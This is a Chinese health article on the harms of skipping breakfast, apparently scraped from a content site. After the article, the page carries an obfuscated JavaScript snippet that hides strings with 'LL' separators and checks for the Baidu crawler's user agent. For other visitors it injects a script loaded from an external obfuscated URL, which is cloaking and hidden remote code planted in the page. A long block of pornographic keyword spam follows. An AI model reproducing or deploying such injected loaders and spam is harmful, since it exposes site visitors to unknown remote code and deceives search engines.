當前位置:首頁 > 飲食 > 健康飲食 > 正文

不吃早餐的危害你知道嗎?

2017-02-08 09:23:57  來源:360常識網   熱度:
導語:早晨起床后,人體已有10來個小時沒有進餐,胃處于空虛狀態,此時血糖水平也降到了進食水平。開始活動后,大腦與肌肉消耗糖(即血糖),于是血糖水平會繼續下降。

不吃早餐的危害你知道嗎?

不吃早餐的危害你知道嗎?

不吃早餐的危害你知道嗎?

不吃早餐會胖嗎

很多人為了減肥,或者是因為起床晚沒時間等原因,經常不吃早餐。然而專業人士提醒,不吃早餐不僅不能減肥,不吃早餐還會讓你胖起來。

不吃早餐的人一整天都有強烈進食欲望

早晨起床后,人體已有10來個小時沒有進餐,胃處于空虛狀態,此時血糖水平也降到了進食水平。開始活動后,大腦與肌肉消耗糖(即血糖),于是血糖水平會繼續下降。這時如果還不進餐或進食低質早餐,體內就沒有足夠的血糖可供消耗,人體會感到倦耽疲勞、暴躁、易怒,反應遲鈍。

甚至這種感覺會持續一整天,在一整天里你都想吃多一點,對高熱量食物有更強烈的渴望,從而進食更多熱量,體重胖起來。

不吃早餐還會讓你老得快

不吃早餐,人體內儲存的葡萄糖消耗殆盡,身體為了維持血糖,會分解蛋白質來合成葡萄糖。久而久之,會導致皮膚干躁、起皺和貧血等,加速人體的衰老。

不吃早餐很傷胃

在睡眠中,胃仍在分泌少量胃酸,如果不吃早餐,胃酸沒有食品去中和,就會刺激胃粘膜,導致胃部不適,久而久之則可能引起胃炎、潰瘍病。而且早晨空腹時,體內膽固醇的飽和度較高,不吃早餐還容易產生膽結石。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
久久99热久久99精品| 久久九九精品国产av片国产| 亚洲午夜国产精品无卡| 国产成人精品视频2021| 精品国产一区二区三区四区| 人妻少妇无码精品视频区| 国产精品乱码一区二区三| 久久99精品久久久久久青青日本 | 久久久久亚洲精品美女| 国产成人精品三级麻豆| 国产精品久久久久久福利漫画| 国语精品一区二区三区| 内射一区二区精品视频在线观看 | 国产主播福利精品一区二区| 亚洲精品在线不卡| 国产香蕉精品视频在| 国产三级久久精品三级| 99在线精品视频观看免费| 久久亚洲国产精品五月天| 久久激情亚洲精品无码?V| 国产精品亚洲精品日韩动图| AV无码精品一区二区三区| 99久久er热在这里只有精品99| 伊人精品久久久大香线蕉99| 大伊香蕉精品视频在线导航| 亚洲AV成人精品一区二区三区| 日本午夜精品一区二区三区电影| 国产午夜精品理论片久久| 国产一区二区三区国产精品 | 国产精品VA在线观看无码不卡| 精品人妻中文无码AV在线 | 亚洲级αV无码毛片久久精品| 内射一区二区精品视频在线观看| 国产精品无码免费播放| 国产精品合集一区二区三区| 99re6这里只有精品| 久久久国产精品福利免费| 精品久久久久久无码人妻蜜桃| 国产成人精品男人的天堂网站| 国产精品无码专区AV在线播放| 无码成人精品区在线观看|